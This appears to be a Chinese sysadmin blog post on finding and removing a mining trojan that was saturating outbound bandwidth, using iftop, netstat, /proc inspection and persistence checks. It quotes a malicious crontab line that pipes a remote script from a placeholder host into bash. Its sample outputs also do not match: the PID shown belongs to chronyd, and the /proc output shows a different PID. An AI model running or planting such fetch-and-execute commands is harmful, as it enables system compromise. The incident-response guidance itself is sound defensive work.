运维知识
悠悠
2026年8月13日

线上出口带宽被打满的排查与处理实战

某天收到监控告警,服务器出口带宽被打满,业务响应变慢。本文记录完整的排查思路和处理过程。

定位流量来源:iftop

带宽被打满,第一步要搞清楚流量到底流向哪里。iftop 是最直观的工具。

启动模型工具

image-20260813214357135

# 安装
yum install -y iftop      # CentOS/RHEL
apt install -y iftop      # Debian/Ubuntu

# 指定网卡查看
iftop -i eth0

image-20260813214235964
界面说明:

  • 每一行代表一个连接,左侧是本机,右侧是对端 IP
  • <==> 分别表示流入和流出流量
  • 右侧三列是最近 2s、10s、40s 的平均流量

观察特征:如果发现某个未知的对端 IP 持续占用大量上行流量(=>),基本可以判定是本机有异常进程在对外发包,常见于挖矿木马、DDoS 肉鸡、异常数据外传等。

t 可以切换显示模式,p 可以显示端口号,方便下一步排查。

找到占用端口的进程:netstat

image-20260813214453393

拿到可疑对端 IP 和端口后,用 netstat 找出本机对应的进程。

# UDP 场景
netstat -anpu | grep <可疑IP或端口>

# TCP 场景
netstat -antp | grep <可疑IP或端口>

参数说明:

  • -a 显示所有连接
  • -n 以数字形式显示地址和端口(不做 DNS 反解,更快)
  • -p 显示进程 PID 和名称
  • -u / -t 分别过滤 UDP / TCP

输出示例:

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0 0.0.0.0:123             0.0.0.0:*                           804/chronyd         
udp        0      0 127.0.0.1:323           0.0.0.0:*                           804/chronyd         
udp6       0      0 :::123                  :::*                                804/chronyd         
udp6       0      0 ::1:323                 :::*                                804/chronyd  

这里拿到了关键信息:PID =804

提示:如果 netstat 未安装,可用 ss -anpu 替代,速度更快:

ss -anpu | grep <端口>

image-20260813214537363

通过 PID 找到程序真实路径

有些恶意进程名会伪装成正常进程(如 kthreaddsystemd 等),不能只看进程名,一定要看真实执行路径

ls -al /proc/804/exe

输出示例:

lrwxrwxrwx 1 root root 0 Jun 10 14:23 /proc/12345/exe -> /tmp/.hidden/kdevtmpfsi

exe 是一个符号链接,指向进程的真实二进制文件。这里看到程序藏在 /tmp/.hidden/ 下,明显是恶意程序。

image-20260813214554458

补充几个有用的命令:

# 查看进程工作目录
ls -al /proc/804/cwd

# 查看进程启动命令和参数
cat /proc/804/cmdline | tr '\0' ' '

# 查看进程的环境变量(有时能发现下载源)
cat /proc/804/environ | tr '\0' '\n'

image-20260813214640320

终止异常进程

确认是恶意进程后,先记录关键信息(路径、文件、连接),再终止。

# 终止进程
kill -9 804

# 删除恶意文件
rm -f /tmp/.hidden/kdevtmpfsi

注意:很多挖矿木马有守护进程,kill 掉后会被拉起。建议先找出并处理守护进程、再一起 kill,或先 chmod 000 掉恶意文件剥夺执行权限:

chmod 000 /tmp/.hidden/kdevtmpfsi

确认网络恢复

处理完后,重新用 iftop 确认异常流量是否消失。

iftop -i eth0

如果那个可疑对端 IP 的流量已经消失、带宽回落到正常水平,说明处理生效。同时观察一段时间,确认进程没有被守护进程重新拉起。

# 确认进程真的没了
ps aux | grep <关键字>

彻底排查持久化后门

kill 掉进程只是治标。恶意程序通常会设置多种持久化手段,不清理干净会反复复活。必须逐一排查

1. crontab 定时任务

这是最常见的持久化方式,木马会定时下载并执行脚本。

# 查看所有用户的 crontab
for u in $(cut -d: -f1 /etc/passwd); do echo "=== $u ==="; crontab -l -u $u 2>/dev/null; done

# 检查系统级定时任务
cat /etc/crontab
ls -al /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/

发现类似 * * * * * curl -s http://x.x.x.x/x.sh | bash 的条目,立即删除。

2. SSH 授权密钥

攻击者常写入自己的公钥实现免密登录。

# 检查所有用户的 authorized_keys
find / -name "authorized_keys" 2>/dev/null

cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys

删除不认识的公钥,并检查 /etc/ssh/sshd_config 是否被篡改。

3. 开机自启动项

# systemd 服务
systemctl list-unit-files --type=service | grep enabled
ls -al /etc/systemd/system/ /usr/lib/systemd/system/

# 传统 rc 启动脚本
cat /etc/rc.local
ls -al /etc/init.d/

# 各种 profile / bashrc(登录时触发)
cat /etc/rc.d/rc.local ~/.bashrc ~/.bash_profile /etc/profile /etc/profile.d/*

逐个核对,清除可疑条目。

4. 其他检查项

# 检查异常账户(UID=0 的非 root 账户)
awk -F: '$3==0{print $1}' /etc/passwd

# 检查最近修改的文件
find / -mtime -3 -type f 2>/dev/null | grep -vE "^/proc|^/sys"

# 检查动态链接库劫持
cat /etc/ld.so.preload

其他网络排查工具

分享一些日常排查网络问题的常用工具:

工具用途
iftop按连接实时查看流量,快速定位流量对端
nethogs进程查看带宽占用,直接对应到程序
iptraf-ng交互式网络流量监控,功能全面
ss替代 netstat,查看连接状态更快
tcpdump抓包分析,排查具体流量内容
nload简洁的实时上下行带宽曲线
vnstat长期流量统计,按天/月汇总
iotop磁盘 IO 排查(顺带,木马常伴随高 IO)

几个典型场景:

按进程看带宽(最直观)

nethogs eth0

nethogs 直接把带宽归属到进程,比 iftop+netstat 两步走更快,强烈推荐。

抓包分析可疑流量

# 抓取与可疑 IP 的通信
tcpdump -i eth0 host 185.x.x.x -w /tmp/capture.pcap

# 快速查看某端口流量
tcpdump -i eth0 port 8080 -nn

查看整体带宽趋势

nload eth0        # 实时曲线
vnstat -d         # 按天统计历史流量

总结

出口带宽被打满的标准排查链路:

  1. iftop 定位异常流量对端 IP 和端口
  2. netstat/ss 通过端口找到进程 PID
  3. ls -al /proc/PID/exe 找到程序真实路径
  4. kill 终止进程并删除文件
  5. iftop 复查确认流量恢复
  6. 清理 crontab / SSH 密钥 / 开机自启 等持久化后门

处理这类问题的核心思想是:先止血,再溯源,最后清理持久化。只 kill 进程而不清理后门,木马很快就会卷土重来。日常还应加固 SSH(禁密码登录、改端口)、及时更新补丁、配置防火墙和流量监控告警,做到防患于未然。

关注公众号: 耕云躬行录

个人博客:躬行笔记,里面记录了更多生产环境的真实踩坑案例,欢迎来逛逛。

下期想看啥?留言告诉我,点赞过 200 我专门写一篇。

文章目录

博主介绍

热爱技术的云计算运维工程师,Python全栈工程师,分享开发经验与生活感悟。
欢迎关注我的微信公众号@运维躬行录,领取海量学习资料

微信二维码